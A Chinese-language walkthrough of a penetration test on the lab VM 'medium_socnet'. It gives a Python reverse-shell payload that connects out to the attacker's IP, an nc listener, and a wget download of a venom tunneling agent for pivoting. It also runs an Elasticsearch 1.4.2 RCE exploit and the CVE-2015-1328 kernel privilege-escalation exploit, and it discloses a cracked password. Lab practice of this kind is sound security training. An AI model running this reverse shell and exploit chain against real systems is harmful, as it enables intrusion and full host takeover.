medium_socnet靶机渗透过程
准备环境
攻击机:WSL-Kali-Linux
目标靶机:medium_socnet
平台:VMware Workstation 16.2
靶机为NAT
模式
一、信息搜集
1.IP扫描
nmap -sn 192.168.9.0/24
扫出靶机IP
为:192.168.9.138
2.端口扫描
nmap -A -p- 192.168.9.138
开放端口情况如下
端口号 | 服务 |
---|---|
22 | Open SSH |
5000 | HTTP (Werkzeug框架) |
3.目录扫描
先访问其http
服务
对网站进行目录扫描
dirsearch -u http://192.168.9.138:5000/
网站目录下存在admin
,对其访问
存在exec()
函数,用python
语句可执行命令
二、漏洞利用
1.反弹shell
在文本框内写入利用python
来实现反弹shell
的脚本
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("172.19.42.132",9999));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
在kali
里面启动监听
nc -lvnp 9999
拿到shell
之后,发现是root
用户,再结合当前目录下的文件,存在Dockerfile
(Docker
配置文件)、requirements.txt
(环境配置需求)这两个文件,推测拿到的可能是docker
容器中的shell
现在的思路就是进行内网渗透,拿到宿主机权限
当前容器的ip
地址为172.17.0.2
扫描其他容器,确定其他容器的IP
地址
for i in $(seq 10); do ping -c 1 172.17.0.$i; done
发现172.17.0.1/2/3
都有回包
2.内网穿透
Github
下载[venom]工具包
kali
中运行venom
./admin_linux_x64 -lport 1111
在kali
中启动httpd
服务
python2 -m SimpleHTTPServer
端口为8000
在docker1
中将venom
下载下来
wget http://172.19.42.132:8000/agent_linux_x64
对其赋权777
,chmod 777 agent_linux_x64
,并运行venom
此时kali
中就提示已连接
创建socks
隧道进行内网穿透
socks 1080
在kali
中修改/etc/proxychains4.conf
,在最后一行添加socks5 127.0.0.1 1080
vim /etc/proxychains4.conf
3.内网渗透
通过代理对内网172.17.0.1
和172.17.0.3
进行扫描
proxychains nmap -Pn -sT 172.17.0.1
开放了22
和5000
端口
proxychains nmap -Pn -sT 172.17.0.3
开放了9200
端口,服务是wap-wsp
读完,利用Elasticsearch
历史版本漏洞
扫描9200
端口的详细信息
proxychains nmap -Pn -sT -p9200 -sV 172.17.0.3
版本为1.4.2
,直接在msf6
中去搜索这个版本号
使用 ElasticSearch - Remote Code | linux/remote/36337.py
来攻击
proxychains python2 /usr/share/exploitdb/exploits/linux/remote/36337.py 172.17.0.3
目录下存在passwords
文件,查看该文件
4.内核提权
内容有用户名和密码,密码已被md5
加密,通过解密,发现只有john
用户的密码能被解密,且解密后密码为1337hack
直接用ssh
登录宿主机(192.168.9.138
)
查看该用户所拥有的权限
sudo -l
无法查看,只能通过内核提权
查看该宿主机的系统内核版本为3.13.0
uname -a
在msfconsole
中搜索该版本的exp
将37292.c
复制到任意目录,然后对139-147
进行注释,在进行编译
gcc -o exp 37292.c
将ofs-lib.so
文件cp
到当前目录
cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so ./
打开kali
的http
服务
python3 -m http.server 80
在宿主机中将exp
和so
文件wget
到/tmp
目录下,业务/tmp
有所有权限
对这两个文件进行赋权777
执行exp
./exp
拿到靶机的root
权限